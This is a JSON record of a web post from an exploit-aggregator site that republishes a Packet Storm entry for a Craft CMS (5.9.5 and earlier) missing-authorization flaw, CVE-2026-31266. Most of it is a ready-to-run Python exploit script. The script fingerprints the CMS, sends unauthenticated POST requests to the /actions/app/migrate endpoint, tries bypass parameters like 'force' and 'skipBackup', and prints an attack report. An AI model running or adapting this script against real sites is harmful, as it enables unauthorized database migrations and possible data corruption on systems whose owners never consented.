{"id":61981,"date":"2026-06-11T11:48:08","date_gmt":"2026-06-11T11:48:08","guid":{"rendered":"https:\/\/zero.redgem.net\/?p=61981"},"modified":"2026-06-11T11:48:08","modified_gmt":"2026-06-11T11:48:08","slug":"craft-cms-595-missing-authorization-authentication-bypass","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=61981","title":{"rendered":"\ud83d\udcc4 Craft CMS 5.9.5 Missing Authorization \/ Authentication Bypass_PACKETSTORM:223224"},"content":{"rendered":"

{“lastseen”:”2026-06-11T16:01:48″,”description”:”This script is an assessment and exploitation framework targeting a missing authorization vulnerability in affected versions of Craft CMS that may permit unauthorized access to privileged migration functionality. Versions 5.9.5 and below are affected…”,”published”:”2026-06-11T00:00:00″,”modified”:”2026-06-11T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Craft CMS 5.9.5 Missing Authorization \/ Authentication Bypass”,”source”:””,”references”:””,”id”:”PACKETSTORM:223224″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-31266″],”sourceData”:”==================================================================================================================================\\n | # Title : Craft CMS \u2264 5.9.5 Missing Authorization Vulnerability \u2013 Authentication Bypass |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.4 (64 bits) |\\n | # Vendor : https:\/\/craftcms.com |\\n ==================================================================================================================================\\n \\n [+] Summary : This script is an assessment and exploitation framework targeting a missing authorization vulnerability in affected versions \\n of Craft CMS that may permit unauthorized access to privileged migration functionality.\\n \\n [+] POC : \\n \\n \\n #!\/usr\/bin\/env python3\\n \\n import requests\\n import sys\\n import argparse\\n import time\\n import json\\n import re\\n from urllib.parse import urljoin, urlparse\\n \\n BANNER = \\”\\”\\”\\n \u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\\n \u2551 Craft CMS Missing Authorization Exploit (CVE-2026-31266) \u2551\\n \u2551 Affected: Craft CMS \\u003c= 5.9.5 \u2551\\n \u2551 Type: Missing Authorization -\\u003e Authentication Bypass \u2551\\n \u2551 Discovered by: indoushka \u2551\\n \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\\n \\”\\”\\”\\n \\n class CraftCMSExploit:\\n def __init__(self, target_url, verbose=False, timeout=10):\\n self.target_url = target_url.rstrip(‘\/’)\\n self.verbose = verbose\\n self.timeout = timeout\\n self.session = requests.Session()\\n self.session.headers.update({\\n \\”User-Agent\\”: \\”Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\\”,\\n \\”Accept\\”: \\”application\/json, text\/plain, *\/*\\”,\\n \\”Content-Type\\”: \\”application\/x-www-form-urlencoded\\”\\n })\\n self.base_action_url = f\\”{self.target_url}\/actions\/app\/migrate\\”\\n \\n def log(self, msg, level=\\”INFO\\”):\\n \\”\\”\\”Print formatted messages\\”\\”\\”\\n colors = {\\n \\”INFO\\”: \\”\\\\033[94m[*]\\\\033[0m\\”,\\n \\”SUCCESS\\”: \\”\\\\033[92m[+]\\\\033[0m\\”,\\n \\”ERROR\\”: \\”\\\\033[91m[-]\\\\033[0m\\”,\\n \\”WARNING\\”: \\”\\\\033[93m[!]\\\\033[0m\\”,\\n \\”DATA\\”: \\”\\\\033[96m[\\u003e]\\\\033[0m\\”\\n }\\n prefix = colors.get(level, \\”[*]\\”)\\n print(f\\”{prefix} {msg}\\”)\\n \\n def check_craft_cms(self):\\n \\”\\”\\”Check if target is running Craft CMS\\”\\”\\”\\n self.log(\\”Checking if target is Craft CMS…\\”)\\n \\n checks = [\\n \\”\/admin\/login\\”,\\n \\”\/index.php?p=admin\/login\\”,\\n \\”\/actions\/users\/login\\”,\\n \\”\/cp\\”,\\n \\”\/admin\/actions\/users\/login\\”\\n ]\\n \\n for check in checks:\\n try:\\n url = f\\”{self.target_url}{check}\\”\\n response = self.session.get(url, timeout=self.timeout)\\n \\n if response.status_code == 200:\\n if \\”craft\\” in response.text.lower() or \\”cms\\” in response.text.lower():\\n self.log(f\\”Craft CMS detected at: {url}\\”, \\”SUCCESS\\”)\\n return True\\n except:\\n continue\\n \\n self.log(\\”Could not confirm Craft CMS\\”, \\”WARNING\\”)\\n return False\\n \\n def test_migrate_endpoint(self):\\n \\”\\”\\”Test if the migrate endpoint is accessible anonymously\\”\\”\\”\\n self.log(\\”Testing migrate endpoint accessibility…\\”)\\n \\n try:\\n response = self.session.post(\\n self.base_action_url,\\n data={},\\n timeout=self.timeout\\n )\\n \\n if self.verbose:\\n self.log(f\\”Response Status: {response.status_code}\\”, \\”DATA\\”)\\n self.log(f\\”Response Headers: {dict(response.headers)}\\”, \\”DATA\\”)\\n \\n if response.status_code == 200:\\n self.log(\\”Migrate endpoint is accessible! (200 OK)\\”, \\”SUCCESS\\”)\\n return True\\n elif response.status_code == 403:\\n self.log(\\”Migrate endpoint is protected (403 Forbidden)\\”, \\”INFO\\”)\\n return False\\n elif response.status_code == 404:\\n self.log(\\”Migrate endpoint not found (404)\\”, \\”INFO\\”)\\n return False\\n else:\\n self.log(f\\”Unexpected response: {response.status_code}\\”, \\”WARNING\\”)\\n return response.status_code == 200\\n \\n except requests.exceptions.RequestException as e:\\n self.log(f\\”Error testing endpoint: {e}\\”, \\”ERROR\\”)\\n return False\\n \\n def execute_migration(self, migration_params=None):\\n \\”\\”\\”\\n Execute migration via the vulnerable endpoint\\n \\n Args:\\n migration_params: Optional parameters for migration\\n \\”\\”\\”\\n self.log(\\”Attempting to execute migration…\\”)\\n \\n data = migration_params or {}\\n \\n try:\\n response = self.session.post(\\n self.base_action_url,\\n data=data,\\n timeout=self.timeout\\n )\\n \\n if self.verbose:\\n self.log(f\\”Request URL: {self.base_action_url}\\”, \\”DATA\\”)\\n self.log(f\\”Request Data: {data}\\”, \\”DATA\\”)\\n self.log(f\\”Response Status: {response.status_code}\\”, \\”DATA\\”)\\n \\n return response\\n \\n except requests.exceptions.RequestException as e:\\n self.log(f\\”Error executing migration: {e}\\”, \\”ERROR\\”)\\n return None\\n \\n def check_database_tables(self, table_names=None):\\n \\”\\”\\”\\n Check if database tables have been affected\\n This is a detection method based on the vulnerability impact\\n \\”\\”\\”\\n if not table_names:\\n table_names = [‘sessions’, ‘users’, ‘craft_session’, ‘craft_users’]\\n \\n self.log(\\”Checking for database impact…\\”)\\n \\n for table in table_names:\\n \\n test_endpoints = [\\n f\\”{self.target_url}\/actions\/users\/login\\”,\\n f\\”{self.target_url}\/admin\/actions\/users\/login\\”,\\n f\\”{self.target_url}\/index.php?p=admin\/actions\/users\/login\\”\\n ]\\n \\n for endpoint in test_endpoints:\\n try:\\n response = self.session.post(endpoint, data={\\n \\”loginName\\”: \\”test\\”,\\n \\”password\\”: \\”test\\”\\n }, timeout=self.timeout)\\n \\n if response.status_code == 500 or \\”database\\” in response.text.lower():\\n if \\”sessions\\” in response.text.lower() or \\”table\\” in response.text.lower():\\n self.log(f\\”Possible database corruption detected: {response.text[:200]}\\”, \\”WARNING\\”)\\n return True\\n \\n except:\\n continue\\n \\n return False\\n \\n def extract_version_info(self):\\n \\”\\”\\”Extract Craft CMS version information\\”\\”\\”\\n self.log(\\”Attempting to extract version information…\\”)\\n \\n version_patterns = [\\n r’Craft CMS (\\\\d+\\\\.\\\\d+\\\\.\\\\d+)’,\\n r’craft\\\\.version\\\\s*=\\\\s*[\\”\\\\’](\\\\d+\\\\.\\\\d+\\\\.\\\\d+)’,\\n r’\\u003cmeta name=\\”generator\\” content=\\”Craft CMS (\\\\d+\\\\.\\\\d+\\\\.\\\\d+)\\”‘\\n ]\\n \\n version_files = [\\n \\”\/dist\/js\/craft.js\\”,\\n \\”\/resources\/js\/craft.js\\”,\\n \\”\/admin\/dist\/js\/craft.js\\”,\\n \\”\/cp\/resources\/js\/craft.js\\”\\n ]\\n \\n for file_path in version_files:\\n try:\\n url = f\\”{self.target_url}{file_path}\\”\\n response = self.session.get(url, timeout=self.timeout)\\n \\n if response.status_code == 200:\\n for pattern in version_patterns:\\n match = re.search(pattern, response.text)\\n if match:\\n version = match.group(1)\\n self.log(f\\”Detected Craft CMS version: {version}\\”, \\”SUCCESS\\”)\\n return version\\n except:\\n continue\\n \\n self.log(\\”Could not determine exact version\\”, \\”WARNING\\”)\\n return None\\n \\n def attempt_bypass_with_params(self, param_combinations=None):\\n \\”\\”\\”Attempt to bypass with different parameter combinations\\”\\”\\”\\n if not param_combinations:\\n param_combinations = [\\n {}, \\n {\\”allowAdminChanges\\”: \\”1\\”},\\n {\\”allowAdminChanges\\”: \\”true\\”},\\n {\\”allowAnonymous\\”: \\”1\\”},\\n {\\”force\\”: \\”1\\”},\\n {\\”force\\”: \\”true\\”},\\n {\\”skipBackup\\”: \\”1\\”},\\n {\\”skipBackup\\”: \\”true\\”},\\n {\\”allowAdminChanges\\”: \\”1\\”, \\”force\\”: \\”1\\”},\\n {\\”allowAdminChanges\\”: \\”1\\”, \\”skipBackup\\”: \\”1\\”},\\n ]\\n \\n self.log(f\\”Testing {len(param_combinations)} parameter combinations…\\”)\\n \\n vulnerable_combos = []\\n \\n for i, params in enumerate(param_combinations, 1):\\n if self.verbose:\\n self.log(f\\”Testing combo {i}\/{len(param_combinations)}: {params}\\”)\\n \\n response = self.execute_migration(params)\\n \\n if response and response.status_code == 200:\\n self.log(f\\”Successful bypass with params: {params}\\”, \\”SUCCESS\\”)\\n vulnerable_combos.append(params)\\n elif response and response.status_code == 500 and self.verbose:\\n self.log(f\\”Error with params {params}: {response.text[:100]}\\”)\\n \\n time.sleep(0.5)\\n \\n return vulnerable_combos\\n \\n def generate_attack_report(self, success):\\n \\”\\”\\”Generate attack report\\”\\”\\”\\n report = {\\n \\”target\\”: self.target_url,\\n \\”vulnerability\\”: \\”CVE-2026-31266 – Missing Authorization\\”,\\n \\”affected_versions\\”: \\”Craft CMS \\u003c= 5.9.5\\”,\\n \\”attack_successful\\”: success,\\n \\”timestamp\\”: time.strftime(\\”%Y-%m-%d %H:%M:%S\\”),\\n \\”endpoint_tested\\”: self.base_action_url\\n }\\n \\n print(\\”\\\\n\\” + \\”=\\” * 60)\\n print(\\”ATTACK REPORT\\”)\\n print(\\”=\\” * 60)\\n print(json.dumps(report, indent=2))\\n print(\\”=\\” * 60)\\n \\n return report\\n \\n def full_attack(self):\\n \\”\\”\\”Execute full attack chain\\”\\”\\”\\n self.log(\\”Starting full attack chain…\\”)\\n \\n is_craft = self.check_craft_cms()\\n if not is_craft:\\n self.log(\\”Target may not be Craft CMS, continuing anyway…\\”, \\”WARNING\\”)\\n \\n version = self.extract_version_info()\\n if version:\\n self.log(f\\”Target version: {version}\\”)\\n if self.compare_versions(version, \\”5.9.5\\”) \\u003e 0:\\n self.log(\\”Target version appears to be patched\\”, \\”WARNING\\”)\\n \\n is_vulnerable = self.test_migrate_endpoint()\\n \\n if not is_vulnerable:\\n self.log(\\”Initial test suggests endpoint is protected\\”, \\”WARNING\\”)\\n self.log(\\”Attempting bypass techniques…\\”)\\n vulnerable_combos = self.attempt_bypass_with_params()\\n is_vulnerable = len(vulnerable_combos) \\u003e 0\\n \\n if is_vulnerable:\\n self.log(\\”Vulnerability confirmed! Executing attack…\\”, \\”SUCCESS\\”)\\n response = self.execute_migration()\\n \\n if response:\\n self.log(\\”Attack executed successfully!\\”, \\”SUCCESS\\”)\\n if self.verbose:\\n print(f\\”\\\\nResponse content:\\\\n{response.text[:500]}\\”)\\n \\n self.check_database_tables()\\n \\n self.generate_attack_report(True)\\n return True\\n else:\\n self.log(\\”Target does not appear to be vulnerable\\”, \\”ERROR\\”)\\n self.generate_attack_report(False)\\n return False\\n \\n @staticmethod\\n def compare_versions(version1, version2):\\n \\”\\”\\”Compare two version strings\\”\\”\\”\\n def normalize(v):\\n return [int(x) for x in v.split(‘.’)]\\n \\n v1 = normalize(version1)\\n v2 = normalize(version2)\\n \\n for i in range(min(len(v1), len(v2))):\\n if v1[i] != v2[i]:\\n return v1[i] – v2[i]\\n return len(v1) – len(v2)\\n \\n def check_vulnerability(target_url):\\n \\”\\”\\”Quick vulnerability check\\”\\”\\”\\n exploit = CraftCMSExploit(target_url, verbose=False)\\n return exploit.test_migrate_endpoint()\\n \\n \\n def exploit_single(target_url, verbose=False):\\n \\”\\”\\”Single target exploitation\\”\\”\\”\\n exploit = CraftCMSExploit(target_url, verbose)\\n return exploit.full_attack()\\n \\n def main():\\n parser = argparse.ArgumentParser(description=\\”Craft CMS Missing Authorization Exploit (CVE-2026-31266)\\”)\\n parser.add_argument(\\”-u\\”, \\”–url\\”, required=True, help=\\”Target URL (e.g., http:\/\/localhost:8080)\\”)\\n parser.add_argument(\\”–check\\”, action=\\”store_true\\”, help=\\”Quick vulnerability check only\\”)\\n parser.add_argument(\\”–extract-version\\”, action=\\”store_true\\”, help=\\”Extract Craft CMS version\\”)\\n parser.add_argument(\\”–bypass\\”, action=\\”store_true\\”, help=\\”Attempt parameter bypass techniques\\”)\\n parser.add_argument(\\”–test-migrate\\”, action=\\”store_true\\”, help=\\”Test migrate endpoint only\\”)\\n parser.add_argument(\\”-v\\”, \\”–verbose\\”, action=\\”store_true\\”, help=\\”Show verbose output\\”)\\n \\n args = parser.parse_args()\\n \\n print(BANNER)\\n \\n if args.check:\\n print(\\”\\\\n[*] Performing quick vulnerability check…\\”)\\n is_vulnerable = check_vulnerability(args.url)\\n if is_vulnerable:\\n print(f\\”\\\\n[+] {args.url} appears to be VULNERABLE to CVE-2026-31266\\”)\\n else:\\n print(f\\”\\\\n[-] {args.url} does not appear to be vulnerable\\”)\\n return\\n \\n exploit = CraftCMSExploit(args.url, args.verbose)\\n \\n if args.extract_version:\\n exploit.extract_version_info()\\n return\\n \\n if args.test_migrate:\\n result = exploit.test_migrate_endpoint()\\n if result:\\n print(\\”\\\\n[+] Migrate endpoint is accessible!\\”)\\n print(\\”[+] The target is likely vulnerable to CVE-2026-31266\\”)\\n else:\\n print(\\”\\\\n[-] Migrate endpoint is not accessible\\”)\\n return\\n \\n if args.bypass:\\n print(\\”\\\\n[*] Attempting parameter bypass techniques…\\”)\\n vulnerable_combos = exploit.attempt_bypass_with_params()\\n if vulnerable_combos:\\n print(f\\”\\\\n[+] Found {len(vulnerable_combos)} working parameter combinations!\\”)\\n for combo in vulnerable_combos:\\n print(f\\” – {combo}\\”)\\n else:\\n print(\\”\\\\n[-] No bypass techniques worked\\”)\\n return\\n \\n exploit.full_attack()\\n \\n if __name__ == \\”__main__\\”:\\n main()\\n \\t\\n Greetings to :==============================================================================\\n jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|\\n ============================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/223224″,”cvss”:{“score”:7.3,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:L\/I:L\/A:L”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/223224\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"

{“lastseen”:”2026-06-11T16:01:48″,”description”:”This script is an assessment and exploitation framework targeting a missing authorization vulnerability in affected versions of Craft CMS that may permit unauthorized access to…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,47,12,15,13,53,7,11,5],"class_list":["post-61981","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-73","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n\ud83d\udcc4 Craft CMS 5.9.5 Missing Authorization \/ Authentication Bypass_PACKETSTORM:223224 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=61981\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Craft CMS 5.9.5 Missing Authorization \/ Authentication Bypass_PACKETSTORM:223224 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{“lastseen”:”2026-06-11T16:01:48″,”description”:”This script is an assessment and exploitation framework targeting a missing authorization vulnerability in affected versions of Craft CMS that may permit unauthorized access to...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=61981\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-06-11T11:48:08+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"10 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=61981#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=61981\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Craft CMS 5.9.5 Missing Authorization \\\/ Authentication Bypass_PACKETSTORM:223224\",\"datePublished\":\"2026-06-11T11:48:08+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=61981\"},\"wordCount\":1992,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-7.3\",\"exploit\",\"HIGH\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=61981#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=61981\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=61981\",\"name\":\"\ud83d\udcc4 Craft CMS 5.9.5 Missing Authorization \\\/ Authentication Bypass_PACKETSTORM:223224 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-06-11T11:48:08+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=61981#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=61981\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=61981#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Craft CMS 5.9.5 Missing Authorization \\\/ Authentication Bypass_PACKETSTORM:223224\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Craft CMS 5.9.5 Missing Authorization \/ Authentication Bypass_PACKETSTORM:223224 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=61981","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Craft CMS 5.9.5 Missing Authorization \/ Authentication Bypass_PACKETSTORM:223224 - zero redgem","og_description":"{“lastseen”:”2026-06-11T16:01:48″,”description”:”This script is an assessment and exploitation framework targeting a missing authorization vulnerability in affected versions of Craft CMS that may permit unauthorized access to...","og_url":"https:\/\/zero.redgem.net\/?p=61981","og_site_name":"zero redgem","article_published_time":"2026-06-11T11:48:08+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"10 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=61981#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=61981"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Craft CMS 5.9.5 Missing Authorization \/ Authentication Bypass_PACKETSTORM:223224","datePublished":"2026-06-11T11:48:08+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=61981"},"wordCount":1992,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-7.3","exploit","HIGH","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=61981#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=61981","url":"https:\/\/zero.redgem.net\/?p=61981","name":"\ud83d\udcc4 Craft CMS 5.9.5 Missing Authorization \/ Authentication Bypass_PACKETSTORM:223224 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-06-11T11:48:08+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=61981#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=61981"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=61981#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Craft CMS 5.9.5 Missing Authorization \/ Authentication Bypass_PACKETSTORM:223224"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/61981","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=61981"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/61981\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=61981"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=61981"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=61981"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}